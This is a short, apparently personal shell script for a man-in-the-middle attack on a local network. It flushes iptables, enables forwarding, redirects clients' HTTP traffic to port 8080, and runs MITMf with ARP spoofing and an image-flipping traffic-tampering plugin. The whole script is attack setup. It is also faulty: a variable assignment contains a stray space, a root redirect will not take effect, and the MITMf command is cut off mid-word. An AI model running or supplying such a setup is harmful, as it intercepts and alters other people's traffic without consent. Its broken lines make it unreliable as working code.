gw_if="eth0"
client_if="eth1"
gw_ip="172.25.10.1"
client_iprange ="10.10.99.1/24"


sudo ifconfig $client_if $client_iprange

sudo iptables -F INPUT
sudo iptables -F OUTPUT
sudo iptables -F FORWARD
sudo iptables -F -t nat

sudo echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o $gw_if -j MASQUERADE
sudo iptables -t nat -A PREROUTING -i $client_if -p tcp --dport 80 -j REDIRECT --to-port 8080

cd ~/MITMf
sudo python2 mitmf.py -i $client_if --gateway $gw_ip -l 8080 --spoof --arp --upsidedowntern$

echo 0 > /proc/sys/net/ipv4/ip_forward